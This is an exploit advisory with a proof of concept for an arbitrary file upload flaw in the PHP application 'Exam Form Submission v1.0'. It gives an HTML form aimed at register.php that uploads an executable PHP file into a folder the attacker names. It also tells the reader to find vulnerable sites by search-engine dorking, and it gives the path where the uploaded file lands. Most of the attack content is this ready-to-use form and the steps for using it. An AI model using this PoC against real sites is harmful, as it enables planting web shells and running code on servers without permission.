Exam Form Submission version 1.0 suffers from an arbitrary file upload vulnerability.
=============================================================================================================================================
| # Title : Exam Form Submission v1.0 Remote File Upload Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) |
| # Vendor : https://download-media.code-projects.org/2020/08/Exam_Form_Submission_In_PHP_With_Source_Code.zip |
=============================================================================================================================================
poc :
[+] Dorking İn Google Or Other Search Enggine.
[+] The following html code create a new folder and upload a executable malicious file remotely .
[+] Go to the line 1.
[+] Set the target site link Save changes and apply .
[+] infected file : XAM_FORM_SUBMISSION/register.php.
[+] save code as poc.html .
<form name="register" action="http://127.0.0.1/EXAM_FORM_SUBMISSION/register.php" method="POST" enctype="multipart/form-data">
<label for="USN">Folder:</label>
<input type="text" name="USN" id="USN" required><br>
<label for="img">Dev!l:</label>
<input type="file" name="img" id="img" required><br>
<button type="submit" name="Register">Register</button>
</form>
[+] path EXAM_FORM_SUBMISSION/images/your_folder/your.php
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================
